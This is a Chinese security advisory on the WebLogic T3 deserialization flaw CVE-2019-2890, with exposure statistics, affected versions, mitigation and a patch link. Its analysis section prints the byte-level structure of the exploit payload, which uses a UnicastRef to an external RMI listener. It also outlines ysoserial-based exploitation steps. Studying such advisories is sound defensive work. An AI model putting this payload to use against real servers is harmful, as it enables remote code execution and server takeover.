【漏洞预警】WebLogic反序列化(CVE-2019-2890)漏洞预警
2019年10月,白帽汇安全研究院监测到互联网上爆出了Weblogic反序列化远程命令执行漏洞,攻击者可利用该漏洞在未经授权下通过构造T3协议请求,绕过Weblogic的反序列化黑名单,从而获取Weblogic服务器权限,风险较大。希望相关用户采取下方的临时修复方案进行应急。
概况
Weblogic是Oracle公司出品的基于JavaEE架构的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。
根据FOFA的数据统计,全球共有26627个开放的weblogic服务。其中美国最多,有8047个开放服务。其次是中国,有5407个开放的weblogic服务。荷兰排第三,有3584个开放的weblogic服务。伊朗第四,有2351个开放的weblogic服务。日本第五,有780个开放的weblogic服务。
全球范围内weblogic服务分布情况(仅为分布情况,非漏洞影响情况)
国内的weblogic服务分布如下,北京最多,有3248个服务,广东有232个服务,上海有213个服务,浙江有200个服务,江苏有156个服务。
危害等级
严重
漏洞分析
T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装自动开启的控制台,由此攻击者可利用该漏洞造成远程代码执行,从而控制Weblogic服务器。
利用RMI接口:java.rmi.activation.Acticator,序列化RemoteobjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,最终将加载的内容利用readobject()进行解析,导致序列化的恶意代码执行(以下为最终的payload)。
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_object - 0x73
TC_PROXYCLASSDESC - 0x7d
newHandle 0x00 7e 00 00
Interface count - 1 - 0x00 00 00 01
proxyInterfaceNames
0:
Length - 29 - 0x00 1d
Value - java.rmi.activation.Activator - 0x6a6176612e726d692e61637469766174696f6e2e416374697661746f72
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 23 - 0x00 17
Value - java.lang.reflect.Proxy - 0x6a6176612e6c616e672e7265666c6563742e50726f7879
serialVersionUID - 0xe1 27 da 20 cc 10 43 cb
newHandle 0x00 7e 00 01
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
object - L - 0x4c
fieldName
Length - 1 - 0x00 01
Value - h - 0x68
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 37 - 0x00 25
Value - Ljava/lang/reflect/InvocationHandler; - 0x4c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
java.lang.reflect.Proxy
values
h
(object)
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 45 - 0x00 2d
Value - java.rmi.server.RemoteobjectInvocationHandler - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572
serialVersionUID - 0x00 00 00 00 00 00 00 02
newHandle 0x00 7e 00 04
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 28 - 0x00 1c
Value - java.rmi.server.Remoteobject - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374
serialVersionUID - 0xd3 61 b4 91 0c 61 33 1e
newHandle 0x00 7e 00 05
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 06
classdata
java.rmi.server.Remoteobject
values
objectAnnotation
TC_BLOCKDATA - 0x77
Length - 55 - 0x37
Contents - 0x000a556e6963617374526566000e31302e31302e31302e3232000000000036590000000001eea90b000000000000000000000000000000
TC_ENDBLOCKDATA - 0x78
java.rmi.server.RemoteobjectInvocationHandler
values
漏洞利用
利用t3协议的缺陷实现远程方法调用达到执行任意反序列化payload的目的:第一步,监听rmi接口;第二步,执行反序列化操作。其反序列化内容指向外部的RMI监听接口,这样在反序列化的过程中就会从远程RMI监听端口加载内容并执行序列化操作,可使用ysoserial工具进行操作。
漏洞影响
目前漏洞影响版本号包括:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.3
CVE编号
CVE-2019-2890
修复建议
一、禁用T3协议
若不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响
操作:
1、进入weblogic控制台在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器。
2、在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入: 7001 deny t3 t3s
3、保存生效(无需重启)
二、升级补丁
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
参考
[1] https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。
最新评论